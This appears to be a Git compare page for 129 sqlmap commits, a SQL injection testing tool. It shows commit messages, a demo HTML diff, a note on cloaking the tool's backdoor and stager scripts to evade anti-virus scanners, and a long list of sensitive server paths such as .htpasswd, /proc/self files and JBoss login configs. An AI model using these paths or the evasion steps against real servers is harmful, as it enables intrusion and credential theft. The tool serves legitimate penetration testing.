Compare commits

..
129 Commits
Author SHA1 Message Date
Miroslav Stampar 78ba33737e Patch for known NCHAR/UNION-query SQLi problems 2020-12-01 12:16:15 +01:00
Miroslav Stampar c6557e2b45 Minor patches 2020-11-30 23:33:08 +01:00
Miroslav Stampar fa17cfb606 Fixes #4447 2020-11-30 22:25:56 +01:00
Miroslav Stampar 40623e780a Minor patch (--update to work with #pip) 2020-11-27 12:57:16 +01:00
Miroslav Stampar 35862bf4c8 Minor patch 2020-11-27 12:37:56 +01:00
Miroslav Stampar 5d6def425a Trivial cleanup 2020-11-27 12:32:05 +01:00
Miroslav Stampar 7066e7ce97 Trivial update 2020-11-26 23:41:35 +01:00
Miroslav Stampar 8dad7dd12d Trivial update 2020-11-24 14:07:30 +01:00
Miroslav Stampar 6b7c3a2f81 Minor cosmetics 2020-11-20 13:03:15 +01:00
Miroslav Stampar e9b3af6b9a Minor compatibility patch for 'Copy as cURL' browser feature 2020-11-20 12:52:02 +01:00
Miroslav Stampar 194c911433 Another update for #4367 2020-11-16 11:59:17 +01:00
Miroslav Stampar e621d7ec6a Fixes #4423 2020-11-16 10:28:53 +01:00
Miroslav Stampar 854507bc85 Potential fix for #4307 2020-11-13 23:00:26 +01:00
Miroslav Stampar 82eec780a2 Update README.md 2020-11-10 22:36:02 +01:00
Miroslav Stampar de55be3afe Update README.md 2020-11-10 22:10:03 +01:00
Miroslav Stampar 4d2b890a0a Silent bug fix 2020-11-09 23:02:48 +01:00
Miroslav Stampar c243c5fe0d Implementing --skip-heuristics (#4414) 2020-11-09 22:11:11 +01:00
Miroslav Stampar a35fc713a2 Minor patch (AS keyword does not play well in nullCastConcatFields) 2020-11-05 11:20:51 +01:00
Miroslav Stampar 97b7dc585c Patch for #4419 2020-11-05 10:59:36 +01:00
Miroslav Stampar c5a5717add Minor adjustment 2020-11-05 10:12:54 +01:00
Miroslav Stampar fe4e79511a Fixes #4413 2020-11-02 11:15:45 +01:00
Miroslav Stampar 1d5bde9cdf Implementing --live-cookies (Issue #4401) 2020-10-29 13:51:11 +01:00
Miroslav Stampar 227a23f091 Fixes #4408 2020-10-29 12:33:12 +01:00
Miroslav Stampar 0ff3b1ce70 Implemented FOR JSON AUTO in MsSQL 2020-10-28 16:48:11 +01:00
Miroslav Stampar 7e483ffd7a Adding minor note 2020-10-28 14:38:13 +01:00
Miroslav Stampar a5852390f7 Implements ARRAY_AGG for PostgreSQL 2020-10-28 14:36:25 +01:00
Miroslav Stampar 73d0c67a80 Implements #4407 2020-10-28 12:57:25 +01:00
Miroslav Stampar 8e9f7e90c3 Fixes #4404 2020-10-27 15:12:42 +01:00
Miroslav Stampar f6bf331b8f Minor cosmetics 2020-10-27 14:57:12 +01:00
Miroslav Stampar 585645e806 Implements #4403 2020-10-27 14:06:56 +01:00
Miroslav Stampar 673a5afe07 Fixes #4400 2020-10-26 11:21:29 +01:00
Miroslav Stampar c9a8b915c8 Fixes #4398 2020-10-25 17:34:06 +01:00
Miroslav Stampar 9645aaa33f Fixes #4399 2020-10-25 17:11:22 +01:00
Miroslav Stampar e556876fe6 Fixes #4394 2020-10-21 14:58:30 +02:00
Miroslav Stampar 0524670cf9 More generic update for #4199 2020-10-21 14:44:07 +02:00
Miroslav Stampar 96a2c91701 Patch regarding #4199 2020-10-21 14:40:11 +02:00
Miroslav Stampar 5029d67e4f Minor update regarding the #4388 2020-10-20 12:54:22 +02:00
Miroslav Stampar 5af64f5ae4 Minor update 2020-10-20 12:37:07 +02:00
Miroslav Stampar bc981c517b New vuln-test case 2020-10-15 17:20:32 +02:00
Miroslav Stampar 87ad11dffb Fixes #4383 and #4384 2020-10-15 12:11:21 +02:00
Miroslav Stampar 3663fa936b Fixes #4382 2020-10-14 23:04:01 +02:00
Miroslav Stampar 4687383a44 Patch for multiple-Ctrl-C in multiple-target mode 2020-10-14 12:22:56 +02:00
Miroslav Stampar 62cfd47b83 Minor patch 2020-10-14 11:49:58 +02:00
Miroslav Stampar 2bf22df53a Implementing support for piped input of targets 2020-10-14 11:34:52 +02:00
Miroslav Stampar 0585a55ee0 Trivial refactoring for #4379 2020-10-13 11:05:13 +02:00
tree-chtsecandtree babe52eb10 HSQLDB write file support (#4379)
* Make asterisk work with --csrf-token option

* add --file-write support in HSQLDB

Co-authored-by: tree <[email protected]>
2020-10-13 10:56:39 +02:00
Miroslav Stampar 231c3da057 Update for #4380 2020-10-13 10:32:09 +02:00
Miroslav Stampar 13a2ab3fa3 Minor update (drei) 2020-10-05 21:36:30 +02:00
Miroslav Stampar 21cc6e3c99 Potential patch for #4367 2020-10-05 12:45:15 +02:00
Miroslav Stampar a2a73b88ea Fixes #4366 2020-10-05 12:12:06 +02:00
Miroslav Stampar 210a4c3a0a Fixes #4363 2020-10-05 11:35:49 +02:00
Miroslav Stampar 15225668d0 Somebody was fooling around (Issue #4357) 2020-09-28 13:12:59 +02:00
Miroslav Stampar c1bf36b876 Better alternative 2020-09-24 14:57:45 +02:00
Miroslav Stampar 229f89004b Fixes #4355 2020-09-24 14:55:13 +02:00
Miroslav Stampar 443b1f2ed5 ORDER BY required 2020-09-24 14:54:59 +02:00
Miroslav Stampar 60f4520020 Minor update for #4353 2020-09-23 15:29:28 +02:00
Miroslav Stampar 7460b87f1d Update for #4353 2020-09-23 15:22:07 +02:00
Miroslav Stampar 5d08b9004e Minor update 2020-09-21 17:11:11 +02:00
Miroslav Stampar c2b9e539ae Update for #4351 2020-09-21 17:04:54 +02:00
HerendraTJ 3d8eb62a59 Issue Tracker --> Pelacak Masalah. (#4347) 2020-09-18 11:58:29 +02:00
Miroslav Stampar d51e45fd34 Minor update for #4344 2020-09-17 15:26:06 +02:00
Miroslav Stampar 3258e29cf9 Update for #4344 2020-09-17 15:22:50 +02:00
antichownandMiroslav Stampar e0ea1ab5e9 new tamper script (#4344)
* new tamper script

works with time-based queries

* Update sleepgetlock.py

Co-authored-by: Miroslav Stampar <[email protected]>
2020-09-17 15:06:47 +02:00
Miroslav Stampar 192ca02c41 Minor update (more intuitive) 2020-09-16 14:28:32 +02:00
Miroslav Stampar f0bbbb0918 Fixes #4341 2020-09-11 16:28:10 +02:00
Miroslav Stampar f6857d4ee4 Bug fix (304 not modified as original response) 2020-09-11 14:32:25 +02:00
Miroslav Stampar a1342e04a5 Minor update 2020-09-10 16:34:01 +02:00
Miroslav Stampar 7963281c41 Minor update 2020-09-10 16:20:12 +02:00
Miroslav Stampar 715063f0d4 Patching session PY2<->PY3 incompatibility issue 2020-09-09 16:15:23 +02:00
Miroslav Stampar 1658331810 Trivial update 2020-09-09 14:07:13 +02:00
Miroslav Stampar bfe93e20c5 Patch for #4337 2020-09-09 13:58:26 +02:00
Miroslav Stampar bcea050f22 Fixes #4331 2020-09-06 23:32:47 +02:00
Miroslav Stampar c4a692abe3 Patch for #4332 2020-09-06 23:21:12 +02:00
Miroslav Stampar b42b62ae38 Major improvement in Base64 handling (late-binding) 2020-09-04 13:16:50 +02:00
Miroslav Stampar a7f20c1d67 Minor update (base64 stuff) 2020-09-04 12:45:33 +02:00
Miroslav Stampar f781367ac1 Fixes #4328 2020-09-04 10:49:17 +02:00
mkauschiandmanuel 1bec3a953c fix #4325 (#4327)
Co-authored-by: manuel <[email protected]>
2020-09-02 17:07:28 +02:00
Miroslav Stampar 66e07dfab6 Fixes #4322 2020-09-01 15:35:14 +02:00
Miroslav Stampar 226d467f6d Fixes #4321 2020-08-31 22:06:22 +02:00
Miroslav Stampar ea5ae44b6c Minor improvement 2020-08-31 11:55:14 +02:00
Miroslav Stampar 95b9a47c6f Adding support for easier 'decloaking' (AV something something) 2020-08-31 11:34:12 +02:00
Miroslav Stampar e05f65628d Minor update 2020-08-31 11:18:29 +02:00
Miroslav Stampar 609545176f Minor refactoring 2020-08-28 14:46:59 +02:00
Miroslav Stampar 8de4820b24 Minor update 2020-08-28 14:24:43 +02:00
Miroslav Stampar df5fabbbbb Adding couple of doctests 2020-08-24 11:10:13 +02:00
Miroslav Stampar 0c48d0dbec Minor update on request 2020-08-23 22:11:24 +02:00
Miroslav Stampar 5108c2d06c Minor update regarding #4312 2020-08-23 21:16:56 +02:00
Miroslav Stampar 603d602550 Fixes #4313 2020-08-23 20:59:10 +02:00
Miroslav Stampar 907786edb8 Patch for #4314 2020-08-23 20:56:22 +02:00
Miroslav Stampar 85b73f872e Minor patch 2020-08-20 13:54:52 +02:00
Miroslav Stampar a42ec7d9cb Trivial refactoring 2020-08-13 16:22:09 +02:00
tree-chtsec b3f4c6d0fc Make asterisk work with --csrf-token option (#4305) 2020-08-13 16:18:31 +02:00
Miroslav Stampar cec65f3a27 Adding new tamper script 2020-08-12 09:50:04 +02:00
Miroslav Stampar cc79ae69aa Fixes #4303 2020-08-11 15:09:23 +02:00
Miroslav Stampar 5a9dc15cf2 Introduction of --base64-safe 2020-08-10 22:26:03 +02:00
Miroslav Stampar f1fd080ba5 Minor improvement 2020-08-10 21:54:58 +02:00
Miroslav Stampar cfe9fb4f5b Fixes #4301 2020-08-10 21:27:38 +02:00
Miroslav Stampar 7a55c9c145 Trivial update 2020-08-10 21:26:37 +02:00
Miroslav Stampar 4077a359f4 Fixes #4294 2020-08-05 22:43:32 +02:00
Miroslav Stampar 435fd49f1d Trivial update 2020-08-04 10:34:18 +02:00
Miroslav Stampar bcfd9c3f48 Trivial update 2020-08-04 10:27:52 +02:00
Miroslav Stampar 39c320c29b Fixes #4292 2020-08-03 23:23:14 +02:00
Miroslav Stampar b719b9612f Adding new tamper script 2020-07-29 13:40:23 +02:00
Miroslav Stampar 84bc2640d1 Minor adjustment on private request 2020-07-28 12:55:57 +02:00
Miroslav Stampar fced29a242 Fixes #4285 2020-07-28 11:30:47 +02:00
Miroslav Stampar 2e5e958d3f Fixes #4287 2020-07-28 11:22:05 +02:00
Miroslav Stampar 1e30471d3d Minor update 2020-07-28 11:10:15 +02:00
Miroslav Stampar 10b93d753d Adding new tamper script 2020-07-27 14:01:12 +02:00
Miroslav Stampar 1280abc25c Adding some tamper scripts 2020-07-27 13:49:48 +02:00
Miroslav Stampar c47061f25d Update regarding #4281 2020-07-26 20:16:58 +02:00
HerendraTJ 9b871f1093 Spacing (#4279)
Add spacing Basisdata --> Basis data because two words is 100% different in Indonesia language.
2020-07-26 20:06:59 +02:00
Miroslav Stampar 0ba07e93d5 Fixes #4284 2020-07-26 19:34:30 +02:00
Miroslav Stampar ce50acf69d Minor update 2020-07-22 11:25:06 +02:00
Miroslav Stampar 9f0ff27c26 Fixes #4277 2020-07-22 09:57:13 +02:00
Miroslav Stampar ecafac5cd2 Minor cleanup 2020-07-21 22:05:02 +02:00
Miroslav Stampar f39869992c Fixes #4275 2020-07-20 12:43:17 +02:00
Miroslav Stampar e910fc6b8b Some more things regarding #4269 2020-07-16 16:10:13 +02:00
Gustavo 6375f9e506 Fixing an error (#4267)
There was a newline breaking the link:

"[aqui]
(https://github.com/sqlmapproject/sqlmap/tarball/master)"
2020-07-16 14:45:17 +02:00
Miroslav Stampar 8e649dc3f7 Minor patch 2020-07-16 14:42:51 +02:00
Miroslav Stampar a6ce91a3e2 Fixes #4269 2020-07-16 14:30:50 +02:00
Miroslav Stampar 408862b040 Update regarding #4268 2020-07-16 14:22:32 +02:00
Miroslav Stampar fc4dec7291 Fixes #4260 2020-07-15 15:29:35 +02:00
Miroslav Stampar 274a6e62da Patch for #4261 2020-07-15 14:53:35 +02:00
Miroslav Stampar aa7c548376 Fixes #4263 2020-07-15 14:49:16 +02:00
Miroslav Stampar 6b7a1dfd94 Adding new payload (credits: blackfan.ru) 2020-07-10 14:33:45 +02:00
Miroslav Stampar 67f918f6ad Minor update 2020-07-07 11:31:07 +02:00
Miroslav Stampar a65e1faf99 Patch for #4258 2020-07-07 10:41:23 +02:00
Miroslav Stampar ff48e1d820 Minor update (phpass) 2020-07-01 13:04:44 +02:00
Miroslav Stampar 0094f02fb0 Adding support for generic phpass (Wordpress, Drupal, PHPBB3, etc.) (Issue #4252) 2020-07-01 12:46:26 +02:00
121 changed files with 6158 additions and 1144 deletions
+1 -1
View File
@@ -4,7 +4,7 @@
sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester, and a broad range of switches including database fingerprinting, over data fetching from the database, accessing the underlying file system, and executing commands on the operating system via out-of-band connections.
**The sqlmap project is currently searching for sponsor(s).**
**sqlmap is sponsored by [SpyderSec](https://spydersec.com/).**
Screenshots
----
+147 -146
View File
@@ -1,150 +1,151 @@
<!DOCTYPE html>
<!DOCTYPE html>
<!-- http://angrytools.com/bootstrap/editor/ -->
<html lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.0/css/bootstrap.min.css" rel="stylesheet">
<link href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.0/css/bootstrap-theme.min.css" rel="stylesheet">
<!--[if lt IE 9]><script src="https://oss.maxcdn.com/html5shiv/3.7.2/html5shiv.min.js"></script><script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script><![endif]-->
</head>
<body>
<style>
#wrapper { width: 100%; }
#page-wrapper {
padding: 0 15px;
min-height: 568px;
background-color: #fff;
}
@media(min-width:768px) {
#page-wrapper {
position: inherit;
margin: 0 0 0 250px;
padding: 0 30px;
border-left: 1px solid #e7e7e7;
}
}
.sidebar .sidebar-nav.navbar-collapse { padding-right: 0; padding-left: 0; }
.sidebar .sidebar-search { padding: 15px; }
.sidebar ul li { border-bottom: 1px solid #e7e7e7; }
.sidebar ul li a.active { background-color: #eee; }
.sidebar .arrow { float: right;}
.sidebar .fa.arrow:before { content: "f104";}
.sidebar .active>a>.fa.arrow:before { content: "f107"; }
.sidebar .nav-second-level li,
.sidebar .nav-third-level li {
border-bottom: 0!important;
}
.sidebar .nav-second-level li a { padding-left: 37px; }
.sidebar .nav-third-level li a { padding-left: 52px; }
@media(min-width:768px) {
.sidebar {
z-index: 1;
position: absolute;
width: 250px;
margin-top: 51px;
}
}
</style>
<div id="wrapper">
<nav class="navbar navbar-default navbar-static-top" role="navigation" style="margin-bottom: 0">
<div class="navbar-header">
<button type="button" class="navbar-toggle" data-toggle="collapse" data-target=".navbar-collapse">
<span class="sr-only">Toggle navigation</span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
</button>
<a class="navbar-brand" href="index.html">sqlmap</a>
</div>
<div class="navbar-default sidebar" role="navigation">
<div class="sidebar-nav navbar-collapse">
<ul class="nav" id="side-menu">
<li>
<a href="#"><i class="glyphicon glyphicon-home"></i> Options<span class="arrow"></span></a>
<ul class="nav nav-second-level">
<li><a>Target</a></li>
<li><a>Request</a></li>
<li><a>Optimization</a></li>
<li><a>Injection</a></li>
<li><a>Detection</a></li>
<li><a>Techniques</a></li>
<li><a>Fingerprint</a></li>
<li><a>Enumeration</a></li>
<li><a>Brute force</a></li>
<li><a>User-defined function injection</a></li>
<li><a>File system access</a></li>
<li><a>Operating system access</a></li>
<li><a>Windows registry access</a></li>
<li><a>General</a></li>
<li><a>Miscellaneous</a></li>
</ul>
</li>
</ul>
</div>
</div>
</nav>
<div id="page-wrapper">
<div class="row">
<h4>DEMO</h4>
</div>
</div>
</div>
<script>
/*
* metismenu - v1.0.3
* Easy menu jQuery plugin for Twitter Bootstrap 3
* https://github.com/onokumus/metisMenu
*
* Made by Osman Nuri Okumuş
* Under MIT License
*/
!function(a,b,c){function d(b,c){this.element=b,this.settings=a.extend({},f,c),this._defaults=f,this._name=e,this.init()}var e="metisMenu",f={toggle:!0};d.prototype={init:function(){var b=a(this.element),c=this.settings.toggle;this.isIE()<=9?(b.find("li.active").has("ul").children("ul").collapse("show"),b.find("li").not(".active").has("ul").children("ul").collapse("hide")):(b.find("li.active").has("ul").children("ul").addClass("collapse in"),b.find("li").not(".active").has("ul").children("ul").addClass("collapse")),b.find("li").has("ul").children("a").on("click",function(b){b.preventDefault(),a(this).parent("li").toggleClass("active").children("ul").collapse("toggle"),c&&a(this).parent("li").siblings().removeClass("active").children("ul.in").collapse("hide")})},isIE:function(){for(var a,b=3,d=c.createElement("div"),e=d.getElementsByTagName("i");d.innerHTML="<!--[if gt IE "+ ++b+"]><i></i><![endif]-->",e[0];)return b>4?b:a}},a.fn[e]=function(b){return this.each(function(){a.data(this,"plugin_"+e)||a.data(this,"plugin_"+e,new d(this,b))})}}(jQuery,window,document);
$(function() {
$('#side-menu').metisMenu();
});
//Loads the correct sidebar on window load,
//collapses the sidebar on window resize.
// Sets the min-height of #page-wrapper to window size
$(function() {
$(window).bind("load resize", function() {
topOffset = 50;
width = (this.window.innerWidth > 0) ? this.window.innerWidth : this.screen.width;
if (width < 768) {
$('div.navbar-collapse').addClass('collapse')
topOffset = 100; // 2-row-menu
} else {
$('div.navbar-collapse').removeClass('collapse')
}
height = (this.window.innerHeight > 0) ? this.window.innerHeight : this.screen.height;
height = height - topOffset;
if (height < 1) height = 1;
if (height > topOffset) {
$("#page-wrapper").css("min-height", (height) + "px");
}
})
});
</script>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.0/js/bootstrap.min.js"></script>
</body>
<html lang="en">
<head>
<title>DEMO</title>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.0/css/bootstrap.min.css" rel="stylesheet">
<link href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.0/css/bootstrap-theme.min.css" rel="stylesheet">
<!--[if lt IE 9]><script src="https://oss.maxcdn.com/html5shiv/3.7.2/html5shiv.min.js"></script><script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script><![endif]-->
</head>
<body>
<style>
#wrapper { width: 100%; }
#page-wrapper {
padding: 0 15px;
min-height: 568px;
background-color: #fff;
}
@media(min-width:768px) {
#page-wrapper {
position: inherit;
margin: 0 0 0 250px;
padding: 0 30px;
border-left: 1px solid #e7e7e7;
}
}
.sidebar .sidebar-nav.navbar-collapse { padding-right: 0; padding-left: 0; }
.sidebar .sidebar-search { padding: 15px; }
.sidebar ul li { border-bottom: 1px solid #e7e7e7; }
.sidebar ul li a.active { background-color: #eee; }
.sidebar .arrow { float: right;}
.sidebar .fa.arrow:before { content: "f104";}
.sidebar .active>a>.fa.arrow:before { content: "f107"; }
.sidebar .nav-second-level li,
.sidebar .nav-third-level li {
border-bottom: 0!important;
}
.sidebar .nav-second-level li a { padding-left: 37px; }
.sidebar .nav-third-level li a { padding-left: 52px; }
@media(min-width:768px) {
.sidebar {
z-index: 1;
position: absolute;
width: 250px;
margin-top: 51px;
}
}
</style>
<div id="wrapper">
<nav class="navbar navbar-default navbar-static-top" role="navigation" style="margin-bottom: 0">
<div class="navbar-header">
<button type="button" class="navbar-toggle" data-toggle="collapse" data-target=".navbar-collapse">
<span class="sr-only">Toggle navigation</span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
</button>
<a class="navbar-brand" href="index.html">sqlmap</a>
</div>
<div class="navbar-default sidebar" role="navigation">
<div class="sidebar-nav navbar-collapse">
<ul class="nav" id="side-menu">
<li>
<a href="#"><em class="glyphicon glyphicon-home"></em> Options<span class="arrow"></span></a>
<ul class="nav nav-second-level">
<li><a>Target</a></li>
<li><a>Request</a></li>
<li><a>Optimization</a></li>
<li><a>Injection</a></li>
<li><a>Detection</a></li>
<li><a>Techniques</a></li>
<li><a>Fingerprint</a></li>
<li><a>Enumeration</a></li>
<li><a>Brute force</a></li>
<li><a>User-defined function injection</a></li>
<li><a>File system access</a></li>
<li><a>Operating system access</a></li>
<li><a>Windows registry access</a></li>
<li><a>General</a></li>
<li><a>Miscellaneous</a></li>
</ul>
</li>
</ul>
</div>
</div>
</nav>
<div id="page-wrapper">
<div class="row">
<h4>DEMO</h4>
</div>
</div>
</div>
<script>
/*
* metismenu - v1.0.3
* Easy menu jQuery plugin for Twitter Bootstrap 3
* https://github.com/onokumus/metisMenu
*
* Made by Osman Nuri Okumuş
* Under MIT License
*/
!function(a,b,c){function d(b,c){this.element=b,this.settings=a.extend({},f,c),this._defaults=f,this._name=e,this.init()}var e="metisMenu",f={toggle:!0};d.prototype={init:function(){var b=a(this.element),c=this.settings.toggle;this.isIE()<=9?(b.find("li.active").has("ul").children("ul").collapse("show"),b.find("li").not(".active").has("ul").children("ul").collapse("hide")):(b.find("li.active").has("ul").children("ul").addClass("collapse in"),b.find("li").not(".active").has("ul").children("ul").addClass("collapse")),b.find("li").has("ul").children("a").on("click",function(b){b.preventDefault(),a(this).parent("li").toggleClass("active").children("ul").collapse("toggle"),c&&a(this).parent("li").siblings().removeClass("active").children("ul.in").collapse("hide")})},isIE:function(){for(var a,b=3,d=c.createElement("div"),e=d.getElementsByTagName("i");d.innerHTML="<!--[if gt IE "+ ++b+"]><i></i><![endif]-->",e[0];)return b>4?b:a}},a.fn[e]=function(b){return this.each(function(){a.data(this,"plugin_"+e)||a.data(this,"plugin_"+e,new d(this,b))})}}(jQuery,window,document);
$(function() {
$('#side-menu').metisMenu();
});
//Loads the correct sidebar on window load,
//collapses the sidebar on window resize.
// Sets the min-height of #page-wrapper to window size
$(function() {
$(window).bind("load resize", function() {
topOffset = 50;
width = (this.window.innerWidth > 0) ? this.window.innerWidth : this.screen.width;
if (width < 768) {
$('div.navbar-collapse').addClass('collapse')
topOffset = 100; // 2-row-menu
} else {
$('div.navbar-collapse').removeClass('collapse')
}
height = (this.window.innerHeight > 0) ? this.window.innerHeight : this.screen.height;
height = height - topOffset;
if (height < 1) height = 1;
if (height > topOffset) {
$("#page-wrapper").css("min-height", (height) + "px");
}
})
});
</script>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.0/js/bootstrap.min.js"></script>
</body>
</html>
+3 -3
View File
@@ -1,7 +1,7 @@
Due to the anti-virus positive detection of shell scripts stored inside this folder, we needed to somehow circumvent this. As from the plain sqlmap users perspective nothing has to be done prior to their usage by sqlmap, but if you want to have access to their original source code use the decrypt functionality of the ../extra/cloak/cloak.py utility.
Due to the anti-virus positive detection of shell scripts stored inside this folder, we needed to somehow circumvent this. As from the plain sqlmap users perspective nothing has to be done prior to their usage by sqlmap, but if you want to have access to their original source code use the decrypt functionality of the ../../extra/cloak/cloak.py utility.
To prepare the original scripts to the cloaked form use this command:
find backdoors/backdoor.* stagers/stager.* -type f -exec python ../extra/cloak/cloak.py -i '{}' \;
find backdoors/backdoor.* stagers/stager.* -type f -exec python ../../extra/cloak/cloak.py -i '{}' \;
To get back them into the original form use this:
find backdoors/backdoor.*_ stagers/stager.*_ -type f -exec python ../extra/cloak/cloak.py -d -i '{}' \;
find backdoors/backdoor.*_ stagers/stager.*_ -type f -exec python ../../extra/cloak/cloak.py -d -i '{}' \;
Binary file not shown.
Binary file not shown.
Binary file not shown.
+2 -2
View File
@@ -1,2 +1,2 @@
:ЫХ&%╦С_m⌠D╗в?Е▓>и╠gI╛ё╠/З∙щб" ▄FщFчRs.k п⌡dqИЮa┌XЬ[°┘╧Юбlс5╖ZШйв ∙⌠▄% Eч:+b≈м┬m╫Eк
У╟╢?Чl┘м╟lw╤с(Б▌-Б&_Бk{╒],T╕ъЮШНгC╝\ba╛ik@bL6E ХztФ©╠{■▐[дO╟]I~IlИX6└ ≤.щё²EЦS_б≥iОeKеxH2n╒дХCf┼CХ╓█ЬN╪БП5╒~ [ы,З 7ЩЩ=Ж;хЙ╛Ю+°Qюxt}zтq?╠·9ГUСЯSВУ>hvЯй╢М5gДW÷S=Н▓%√t"dЮ╒с╢wОnALg╛б▀ё$вО│ЁУ│э│ф╢ Sок_ЕyJ╔Y┌Ч2У╫]╜;K;╚╞"√²6py|╙╡╟Х'*┌ ²)+.K┌у,R╬d(~U·│Ы6г9└▌b+аLi╪Ш©x °Т`АЩ┘╧X┤>~н╙zE÷√НЪИР┤gХ└├╓f·Nб■К╠P{═▀$▌▀─e%< ╒З╫У╩Sвв├┌$2#├╟P{╞╞Ф]╧├Ио└*⌠@°╔ж]╪kE
5Ó×<Ùñ\Íh�†i•å1ãŽUPÍ¡²=¤¹è“^R~ƒlâtÇ3q-yÄü®5RžÊ^°A™YŸ—çÌ÷F:£B¨pÄøÎj—�ž{'$ˆJ\m½ò,‘ ¿FÙTÙ6áânHñFºÿ© uµÁvλ|U’QPÈT"bÃ_/FøóÕª¸·4¡v]SµiCp8Z˜ {Ì€ƒbõ�XÖœ A9 FFÖj/å›pñ–Ì“x\uý«pŽgH×&d?ô~³çiY¸f"ê§Ÿ¦b‰³¦EÕq#dëMø#%£Ñ§m¸�£Ê®H¡zw#Vá iÁé6ÍjÁèdPå«]'§ºÃÇ
Uý6�P/°¾Ç"Rïˆì†nŽlB^9€÷ÚõT à«ŒÇ˜½ƒÅê 0™»(êS>x¼8�ìlÙˆ ûK<41”�;÷Ÿ5b'PŸãæ˜P%¨¯0J,H�‹9èw'Tj¬˜˜4Ä+Ú¢/3L[¶CCƒ(âÞzŽªLÔ¬ÓÉ/ˆAü³Gœ„°Óܣџ‹¬&–ÿMÐÊÇ„-Ðü+¤´²'?üÖˆB£Ë$Ø.è´ã&O׿ …�ÔDØ„êÝÚ¦ÊÕ¡R(ƒY\
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
+62 -67
View File
@@ -679,17 +679,6 @@
/.htaccess
/.htpasswd
/[jboss]/server/default/conf/jboss-minimal.xml
/[jboss]/server/default/conf/jboss-service.xml
/[jboss]/server/default/conf/jndi.properties
/[jboss]/server/default/conf/log4j.xml
/[jboss]/server/default/conf/login-config.xml
/[jboss]/server/default/conf/server.log.properties
/[jboss]/server/default/conf/standardjaws.xml
/[jboss]/server/default/conf/standardjboss.xml
/[jboss]/server/default/deploy/jboss-logging.xml
/[jboss]/server/default/log/boot.log
/[jboss]/server/default/log/server.log
/access.log
/access_log
/apache/conf/httpd.conf
@@ -1024,17 +1013,17 @@
/mysql/my.cnf
/mysql/my.ini
/netserver/bin/stable/apache/php.ini
/opt/[jboss]/server/default/conf/jboss-minimal.xml
/opt/[jboss]/server/default/conf/jboss-service.xml
/opt/[jboss]/server/default/conf/jndi.properties
/opt/[jboss]/server/default/conf/log4j.xml
/opt/[jboss]/server/default/conf/login-config.xml
/opt/[jboss]/server/default/conf/server.log.properties
/opt/[jboss]/server/default/conf/standardjaws.xml
/opt/[jboss]/server/default/conf/standardjboss.xml
/opt/[jboss]/server/default/deploy/jboss-logging.xml
/opt/[jboss]/server/default/log/boot.log
/opt/[jboss]/server/default/log/server.log
/opt/jboss/server/default/conf/jboss-minimal.xml
/opt/jboss/server/default/conf/jboss-service.xml
/opt/jboss/server/default/conf/jndi.properties
/opt/jboss/server/default/conf/log4j.xml
/opt/jboss/server/default/conf/login-config.xml
/opt/jboss/server/default/conf/server.log.properties
/opt/jboss/server/default/conf/standardjaws.xml
/opt/jboss/server/default/conf/standardjboss.xml
/opt/jboss/server/default/deploy/jboss-logging.xml
/opt/jboss/server/default/log/boot.log
/opt/jboss/server/default/log/server.log
/opt/apache/apache.conf
/opt/apache/apache2.conf
/opt/apache/conf/apache.conf
@@ -1075,17 +1064,6 @@
/private/etc/httpd/httpd.conf
/private/etc/httpd/httpd.conf.default
/private/etc/squirrelmail/config/config.php
/private/tmp/[jboss]/server/default/conf/jboss-minimal.xml
/private/tmp/[jboss]/server/default/conf/jboss-service.xml
/private/tmp/[jboss]/server/default/conf/jndi.properties
/private/tmp/[jboss]/server/default/conf/log4j.xml
/private/tmp/[jboss]/server/default/conf/login-config.xml
/private/tmp/[jboss]/server/default/conf/server.log.properties
/private/tmp/[jboss]/server/default/conf/standardjaws.xml
/private/tmp/[jboss]/server/default/conf/standardjboss.xml
/private/tmp/[jboss]/server/default/deploy/jboss-logging.xml
/private/tmp/[jboss]/server/default/log/boot.log
/private/tmp/[jboss]/server/default/log/server.log
/proc/cpuinfo
/proc/devices
/proc/meminfo
@@ -1114,17 +1092,17 @@
/proc/self/stat
/proc/self/status
/proc/version
/program files/[jboss]/server/default/conf/jboss-minimal.xml
/program files/[jboss]/server/default/conf/jboss-service.xml
/program files/[jboss]/server/default/conf/jndi.properties
/program files/[jboss]/server/default/conf/log4j.xml
/program files/[jboss]/server/default/conf/login-config.xml
/program files/[jboss]/server/default/conf/server.log.properties
/program files/[jboss]/server/default/conf/standardjaws.xml
/program files/[jboss]/server/default/conf/standardjboss.xml
/program files/[jboss]/server/default/deploy/jboss-logging.xml
/program files/[jboss]/server/default/log/boot.log
/program files/[jboss]/server/default/log/server.log
/program files/jboss/server/default/conf/jboss-minimal.xml
/program files/jboss/server/default/conf/jboss-service.xml
/program files/jboss/server/default/conf/jndi.properties
/program files/jboss/server/default/conf/log4j.xml
/program files/jboss/server/default/conf/login-config.xml
/program files/jboss/server/default/conf/server.log.properties
/program files/jboss/server/default/conf/standardjaws.xml
/program files/jboss/server/default/conf/standardjboss.xml
/program files/jboss/server/default/deploy/jboss-logging.xml
/program files/jboss/server/default/log/boot.log
/program files/jboss/server/default/log/server.log
/program files/apache group/apache/apache.conf
/program files/apache group/apache/apache2.conf
/program files/apache group/apache/conf/apache.conf
@@ -1177,17 +1155,17 @@
/system/library/webobjects/adaptors/apache2.2/apache.conf
/temp/sess_
/thttpd_log
/tmp/[jboss]/server/default/conf/jboss-minimal.xml
